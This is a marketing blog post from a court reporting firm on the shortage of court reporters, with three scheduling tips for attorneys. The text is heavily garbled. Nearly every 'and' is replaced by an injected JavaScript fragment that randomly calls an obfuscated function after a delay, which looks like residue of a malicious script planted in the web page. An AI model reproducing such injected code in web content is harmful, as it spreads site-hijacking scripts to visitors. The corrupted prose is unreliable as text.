It’s no secret that the litigation industry is currently experiencing a shortage of court reporters. This shortage was caused by many factors: Increased litigation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and new fast-growing areas of law, the dwindling court reporter graduation rates due to the trend of steering students over the last few decades to four-year college degrees, the threat of artificial intelligence, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and an uptick of reporter retirements due to an aging workforce. Years later, these andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other factors have impacted the reporting profession.
The court reporter shortage poses a real challenge to many, but none more so than litigators andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and corporate counsel. This is the time for attorneys to be proactive to ensure that their court reporting needs will be met with quality reporters andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and accurate record keeping. Here are 3 steps that attorneys can take to avoid issues caused by the reporter shortage:
1. Schedule your court reporters as soon as possible after notice.
Attorneys who schedule depositions immediately will have more success securing a quality reporter for their depositions. Last-minute scheduling can result in no reporter being available. The chances that you can secure a court reporter with specialized knowledge or vocabulary, especially when litigating complex issues, is significantly increased when scheduling early. A reporter who is familiar with highly technical terms andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and phrases can ensure a deposition flows efficiently. An experienced andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and savvy reporter guarantees the level of accuracy that your attorneys expect andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and deserve.
2. Team with a reporting firm that works with top tier court reporters.
Working with an experienced reporting firm will prevent unforeseen scheduling headaches andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ensures that your reporters will be accurate, timely, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, most importantly, reliable. You can count on the reporter being punctual andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ready to work at the scheduled time. Reporting firms provide professional, experienced certified reporters that take their duty as an officer of the court very seriously. They have the confidence to speak up andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ask questions if the question, answer, or a certain term is unclear so that the record is as exact as possible. This is an added element of accuracy, accountability, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and follow-up that you can only get with a live reporter. Furthermore, the reporter will be timely in regards to turnaround time with the transcripts.
A reputable reporting firm andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and their reporters have a great amount of respect for the attorney andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and client’s time.
3. Confirm the reporting firm has the resources necessary to provide the most efficient deposition experience possible.
Court reporting firms that understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and embrace today’s reporting technologies bring custom-designed solutions to the most complex situations, such as:
- Remote mobile videoconferencing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and traditional videoconferencing capabilities which allow attorneys to save significant time andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and expense by connecting key witnesses or experts directly via TV’s, PC’s, Macs, Tablets, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Smartphones.
- The ability to stream testimony during the proceedings allowing attorneys to review the transcribed text in real time.
- A full-service support team devoted to delivering court reporters AND attorneys with the technological resources to handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andle each aspect of your deposition.
- A video department which can provide picture-in-picture andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and high definition capability that may catch aspects of the deposition that a written record may not. They also have the ability to add digital exhibits to video andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and live testimony.
- A secure web-based repository to host transcripts andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and exhibits with 24/7 accessibility.
The good news is that you can count on court reporting firms like KusarGlobal Litigation Services to be hard at work in an effort to mitigate the effects the shortage has on you andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and provide you with accurate court reporting that you can rely on.
For more information on scheduling a court reporter, mobile or video conference deposition, or securing a conference room contact KusarGlobal Litigation Services at 877.465-2822 or calendar@kusarglobal.com.
